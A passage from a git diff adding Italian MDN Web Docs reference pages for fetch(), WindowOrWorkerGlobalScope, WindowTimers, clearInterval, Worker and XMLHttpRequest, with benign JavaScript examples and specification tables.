+  <li><code>redirect</code>: Il metodo di reindirizzamento: <code>follow</code> (seguire automaticamente i reindirizzamenti), <code>error</code> (interrompere con un errore se avviene un reindirizzamento), o <code>manual</code> (gestire manualmente i reindirizzamento). In Chrome il valore di default è <code>follow</code> (prima di Chrome 47 era impostato a <code>manual</code>).</li>
+  <li><code>referrer</code>: Una {{domxref("USVString")}} che specifica <code>no-referrer</code>, <code>client</code>, o una URL. Il valore predefinito è <code>client</code>.</li>
+  <li><code>referrerPolicy</code>: Specifica il valore dello header HTTP del referente. Può essere: <code>no-referrer</code>, <code>no-referrer-when-downgrade</code>, <code>origin</code>, <code>origin-when-cross-origin</code>, <code>unsafe-url</code>.</li>
+  <li><code>integrity</code>: Contiene il valore di <a href="/en-US/docs/Web/Security/Subresource_Integrity">integrità della sottorisorsa</a> (subresource integrity) della richiesta (es., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</li>
+  <li><code>keepalive</code>: L'opzione <code>keepalive</code> può essere usata per premettere alla richiesta di sopravvivere alla pagina. Il recupero di una risorsa con l'opzione <code>keepalive</code> sostituisce l'API {{domxref("Navigator.sendBeacon()")}}. </li>
+  <li><code>signal</code>: Un'istanza oggetto {{domxref("AbortSignal")}}; permette di comunicare con una richiesta di recupero e di interromperla se lo si desidera con un {{domxref("AbortController")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una {{domxref("Promise")}} che risolve ad un oggetto {{domxref("Response")}}.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Tipo</strong></th>
+   <th scope="col"><strong>Descrizione</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>La richiesta è stata interrotta (tramite {{domxref("AbortController.abort()")}}).</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Da <a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>, <code>fetch()</code> produrrà un <code>TypeError</code> se la URL possiede credenziali, come <code>http://user:password@example.com</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Nel nostro <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">esempio Fetch Request</a> (vedi <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) viene creata un nuovo oggetto {{domxref("Request")}} usando il costruttore relativo, per poi recuperarlo con una chiamata <code>fetch()</code>. Siccome stiamo recuperando un'immagine, eseguiamo {{domxref("Body.blob()")}} alla risposta per dargli il tipo MIME adeguato in modo che venga gestito correttamente, poi creiamo un Oggetto URL dello stesso e lo mostriamo in un elemento {{htmlelement("img")}}.</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});</pre>
+
+<p>Nel nostro esempio <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request</a> (vedi <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) facciamo la stessa cosa eccetto che passiamo un oggetto per l'inizializzazione quando invochiamo <code>fetch()</code>:</p>
+
+<pre class="brush: js">var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest,myInit).then(function(response) {
+  ...
+});</pre>
+
+<p>Si noti che si può passare l'oggetto per l'inizializzazione insieme al costruttore <code>Request</code> per ottenere lo stesso effetto, es.:</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg', myInit);</pre>
+
+<p>Si può anche usare un oggetto letterale come <code>headers</code> in <code>init</code>.</p>
+
+<pre class="brush: js">var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+</pre>
+
+<h2 id="Specificazioni">S<span class="short_text" id="result_box" lang="it"><span>pecificazioni</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definito in un <code>WindowOrWorkerGlobalScope</code> parziale nella specifica più recente.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-global-fetch','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Aggiunge l'istanza {{domxref("FederatedCredential")}} o {{domxref("PasswordCredential")}} com un valore possibile per <code>init.credentials</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div class="hidden">La tabella delle compatibilità su questa pagina è generata da dati strutturati. Se vuoi contribuire ai dati, per favore visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e invia una richiesta pull.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/it/web/api/windoworworkerglobalscope/index.html b/files/it/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..f7151242c7
--- /dev/null
+++ b/files/it/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,115 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - DOM
+  - DOM API
+  - NeedsTranslation
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p>The <strong><code>WindowOrWorkerGlobalScope</code></strong> mixin describes several features common to the {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}} interfaces. Each of these interfaces can, of course, add more features in addition to the ones listed below.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>WindowOrWorkerGlobalScope</code> is a mixin and not an interface; you can't actually create an object of type <code>WindowOrWorkerGlobalScope</code>.</p>
+</div>
+
+<h2 id="Properties_2">Properties</h2>
+
+<p>These properties are defined on the {{domxref("WindowOrWorkerGlobalScope")}} mixin, and implemented by {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the origin of the global scope, serialized as a string.</dd>
+</dl>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p>These properties are defined on the {{domxref("WindowOrWorkerGlobalScope")}} mixin, and implemented by {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>This is where the main mixin is defined.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definition of the <code>fetch()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definition of the <code>caches</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Definition of the <code>indexedDB</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', '#dom-windoworworkerglobalscope-issecurecontext', 'isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Definition of the <code>isSecureContext</code> property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/it/web/api/windowtimers/clearinterval/index.html b/files/it/web/api/windowtimers/clearinterval/index.html
new file mode 100644
index 0000000000..63b0682983
--- /dev/null
+++ b/files/it/web/api/windowtimers/clearinterval/index.html
@@ -0,0 +1,48 @@
+---
+title: WindowTimers.clearInterval()
+slug: Web/API/WindowTimers/clearInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Interrompe l'azione ripetuta dall'utilizzo del comando {{domxref("window.setInterval", "setInterval")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>window</em>.clearInterval(<var>intervalID</var>)
+</pre>
+
+<p><font face="Consolas, Liberation Mono, Courier, monospace">intervalID è un identificatore dell'azione ripetuta che vuoi cancellare. Questo ID viene passato con il return di setInterval().</font></p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<p>Vedi <a href="/en-US/docs/DOM/window.setInterval#Example" title="DOM/window.setInterval#Example"><code>setInterval()</code> example</a>.</p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers.html#timers', 'clearInterval')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="JavaScript/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowTimers.setTimeout")}}</li>
+ <li>{{domxref("WindowTimers.setInterval")}}</li>
+ <li>{{domxref("WindowTimers.clearTimeout")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/it/web/api/windowtimers/index.html b/files/it/web/api/windowtimers/index.html
new file mode 100644
index 0000000000..d95ede2948
--- /dev/null
+++ b/files/it/web/api/windowtimers/index.html
@@ -0,0 +1,124 @@
+---
+title: WindowTimers
+slug: Web/API/WindowTimers
+tags:
+  - API
+  - HTML-DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Workers
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>WindowTimers</strong></code> contains utility methods to set and clear timers.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface does not define any property, nor inherit any.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface does not inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function each X milliseconds.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/it/web/api/worker/index.html b/files/it/web/api/worker/index.html
new file mode 100644
index 0000000000..5b8c7518a7
--- /dev/null
+++ b/files/it/web/api/worker/index.html
@@ -0,0 +1,107 @@
+---
+title: Worker
+slug: Web/API/Worker
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>L'interfaccia <strong><code>Worker</code></strong> delle <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> rappresenta un processo in background che può essere facilmente generato e in grado di inviare messaggi al creatore. Per creare un worker basta specificare nel metodo costruttore <code>Worker()</code> lo script che sarà incaricato di eseguire.</p>
+
+<p>I Workers saranno poi in grado di inizializzare ulteriori workers fintanto che questi workers hanno la stessa <a href="/en-US/docs/Web/Security/Same-origin_policy">origine</a> della pagina su cui sono ospitati (NB: l'annidamento di workers <a href="https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/5R3B4RN4GHU">non è ancora implementato in Blink</a>).  I workers possono tuttavia usare <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> per richiamare risorse esterne, a patto che gli attributi <code>responseXML</code> e <code>channel</code> di <code>XMLHttpRequest</code> restituiscano <code>null</code>.</p>
+
+<p><a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">Non tutte le interfacce nè i metodi sono disponibili</a> nel contesto dello script interpretato da un <code>Worker</code>.</p>
+
+<p>Se si vuole utilizzare i workers nelle estensioni per Firefox ed avere accesso a <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, bisogna utilizzare l'interfaccia {{ domxref("ChromeWorker") }}.</p>
+
+<h2 id="Costruttori">Costruttori</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>Crea un  worker che eseguirà lo script specificato nella URL. I Workers possono essere anche invocati tramite <a href="/en-US/docs/Web/API/Blob">Blobs</a>.</dd>
+</dl>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>Eredita proprietà dal suo parent, {{domxref("EventTarget")}}, e implementa quelle di {{domxref("AbstractWorker")}}.</em></p>
+
+<h3 id="Eventi_gestiti">Eventi gestiti</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>Un {{ domxref("EventListener") }} invocato quando un {{domxref("ErrorEvent")}} di tipo <code>error</code> arriva al worker. Questo evento è ereditato da {{domxref("AbstractWorker")}}.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd>Un {{ domxref("EventListener") }} invocato quando  un {{domxref("MessageEvent")}} di tipo <code>message</code> arriva al worker — Per esempio quando un messaggio viene inviato al documento parent da un worker tramite {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. Il messaggio viene salvato nella proprietà {{domxref("MessageEvent.data", "data")}} dell'evento.</dd>
+ <dt>{{domxref("Worker.onmessageerror")}}</dt>
+ <dd>Un {{domxref("EventHandler")}} che rappresenta il codice da invocare quando l'evento {{event("messageerror")}} è invocato.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em>Eredita i metodi del suo parent, {{domxref("EventTarget")}}, e quelli di {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>Invia un messaggio (<code>any</code> JavaScript object) al contesto interno del worker.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>Termina immediatamente il worker troncando qualsiasi operazione in corso. Le istanze di ServiceWorker non supportano questo metodo.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Il codice che segue mostra la creazione di un oggetto {{domxref("Worker")}} usando il costruttore {{domxref("Worker.Worker", "Worker()")}} e l'invio di un messaggio:</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+var first = document.querySelector('#number1');
+var second = document.querySelector('#number2');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Messaggio inviato al worker');
+}</pre>
+
+<p>Per un esempio completo: <a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Esempio worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/"> esegui worker</a>).</p>
+
+<h2 id="Specifiche"><br>
+ Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>Il supporto dipende per ciascun tipo di worker. Controlla le pagine dei singoli worker per avere maggiori dettagli.</p>
+
+
+
+<p>{{Compat("api.Worker")}}</p>
+
+<h3 id="Cross-origin_worker_comportamento_in_caso_di_errore">Cross-origin worker, comportamento in caso di errore</h3>
+
+<p>Nelle prime implementazioni browser caricare uno script cross-origin per un worker causava un errore <code>SecurityError</code>; nelle implementazioni piu' recenti invece viene generato un evento {{event("error")}} per rispettare le specifiche. Puoi trovare maggiori informazioni su come gestire queste situazioni qui: <a href="https://www.fxsitecompat.com/en-CA/docs/2016/loading-cross-origin-worker-now-fires-error-event-instead-of-throwing-worker-in-sandboxed-iframe-no-longer-allowed/">Loading cross-origin worker now fires error event instead of throwing; worker in sandboxed iframe no longer allowed</a>.</p>
+
+<h2 id="Vedi_Anche">Vedi Anche</h2>
+
+<ul>
+ <li><a class="internal" href="/En/Using_web_workers" title="en/Using DOM workers">Usare workers web</a></li>
+ <li><a href="/En/DOM/Worker/Functions_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">Funzioni disponibili nei workers</a></li>
+ <li>Altri tipi di workers: { domxref("SharedWorker") }} e <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>.</li>
+ <li>Non standard, Gecko-specific workers usati dalle estensioni: {{ domxref("ChromeWorker") }}</li>
+</ul>
diff --git a/files/it/web/api/xmlhttprequest/index.html b/files/it/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..634bd2ea10
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/index.html
@@ -0,0 +1,173 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX API HTTP XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<div>{{outdated()}}</div>
+
+<p>Questo oggetto è il cuore di <a href="/it/docs/AJAX">AJAX</a>: è infatti lo strumento che <a href="/it/docs/JavaScript">JavaScript</a> utilizza per accedere a un documento <a href="/it/docs/XML">XML</a>.</p>
+
+<p>Il W3C ha pubblicato una <a class="external" href="http://www.w3.org/TR/2006/WD-XMLHttpRequest-20060405/">bozza</a> di standard per questo oggetto il 5 aprile 2006.</p>
+
+<p>Seguono alcuni link:</p>
+
+<ul>
+ <li><a href="/it/docs/Cambiamenti_di_XMLHttpRequest_in_Gecko1.8">Cambiamenti di XMLHttpRequest in Gecko1.8</a></li>
+ <li><a href="/it/docs/Compatibilit%c3%a0_di_AJAX">Compatibilità di AJAX</a></li>
+</ul>
+
+<ul>
+ <li><a class="external" href="http://kb.mozillazine.org/XMLHttpRequest">XMLHttpRequest su MozillaZine</a> (EN)</li>
+ <li><a class="external" href="http://xulplanet.com/references/objref/XMLHttpRequest.html">XMLHttpRequest su XULPlanet</a> (EN)</li>
+ <li><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIXMLHttpRequest.html">nsIXMLHttpRequest su XULPlanet</a> (EN)</li>
+ <li><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIJSXMLHttpRequest.html">nsIJSXMLHttpRequest su XULPlanet</a> (EN)</li>
+ <li><a class="external" href="http://lxr.mozilla.org/seamonkey/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl">Pagina LXR per nsIXMLHttpRequest.idl</a> (EN)</li>
+</ul>
+
+<div>{{APIRef("XMLHttpRequest")}}</div>
+
+<p><span class="seoSummary"><code>XMLHttpRequest</code></span> è una API (interfaccia alla progammazione) la quale fornisce al client le funzionalità di trasferire bidirezionalmente dati tra esso ed il server in maniera sincrona od asincrona senza che il browser richieda al server una porzione di dati senza necessariamente effettuar l'aggiornamento della pagina.</p>
+
+<p>Nonostante il nome dato, XMLHttpRequest, originariamente sviluppato da Microsoft e successivamente adottato dalle altre case di sviluppo browser attraverso il suo <a href="https://xhr.spec.whatwg.org/">standard</a>, supporta protocolli <a href="https://it.wikipedia.org/wiki/Hypertext_Transfer_Protocol">HTTP</a> (inclusi quelli di tipo <code>file ed ftp</code>) oltre che l'XML.</p>
+
+<h2 id="Struttura_di_controllo">Struttura di controllo</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}}</dt>
+ <dd>La struttura di controllo viene inizializzata con la funzione XMLHttpRequest() e necessita la sua chiamata prima di ogni altro suo metodo.</dd>
+</dl>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>XMLHttpRequest eredita le proprietà di {{domxref("XMLHttpRequestEventTarget")}} e di {{domxref("EventTarget")}}:</em></p>
+
+<dl>
+ <dt id="xmlhttprequest-onreadystatechange">{{domxref("XMLHttpRequest.onreadystatechange")}}</dt>
+ <dd>E' un {{domxref("EventHandler")}} chiamato al mutare di un <code>readyState</code> (stato di un evento).</dd>
+ <dt id="xmlhttprequest-readystate">{{domxref("XMLHttpRequest.readyState")}} {{readonlyinline}}</dt>
+ <dd>Restituisce un <code>unsigned short</code>, rappresentante lo stato della richiesta.</dd>
+ <dt>{{domxref("XMLHttpRequest.response")}} {{readonlyinline}}</dt>
+ <dd>Restituisce dati di tipo {{domxref("ArrayBuffer")}}, {{domxref("Blob")}}, {{domxref("Document")}},  oggetti JavaScript, od una {{domxref("DOMString")}}, a seconda del valore {{domxref("XMLHttpRequest.responseType")}}. la quale descrive l'entità del corpo della richiesta.</dd>
+ <dt id="xmlhttprequest-responsetext">{{domxref("XMLHttpRequest.responseText")}} {{readonlyinline}}</dt>
+ <dd>Restituisce una {{domxref("DOMString")}} la quale contiene l'esito della chiamata sotto forma testuale oppure <code>null</code> se la richiesta non ha riscontri o nel caso non sia stata ancora operata.</dd>
+ <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
+ <dd>E' un valore enumerato il quale definisce il tipo del risultato della chiamata.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
+ <dd>Restituisce l'URL serializzato dell'esito della chiamata (in una stringa vuota se l'URL è vacante).</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
+ <dd>Restituisce un {{domxref("Documento")}} contenente l'esito della chiamata (di tipo <code>null</code> nei casi in cui la richiesta non abbia esito, non sia stata inviata, o non possa essere convertita in XML o HTML). Not available in workers.</dd>
+ <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
+ <dd>Restituisce un dato di tipo <code>unsigned short</code> rappresentante lo stato dell'esito della chiamata.</dd>
+ <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
+ <dd>Restituisce una {{domxref("DOMString")}} contentente l'esito (in forma di stringa) fornita dal server HTTP. A differenza di {{domxref("XMLHTTPRequest.status")}}, include l'intero testo del messaggio in risposta (es. "<code>200 OK</code>").</dd>
+ <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
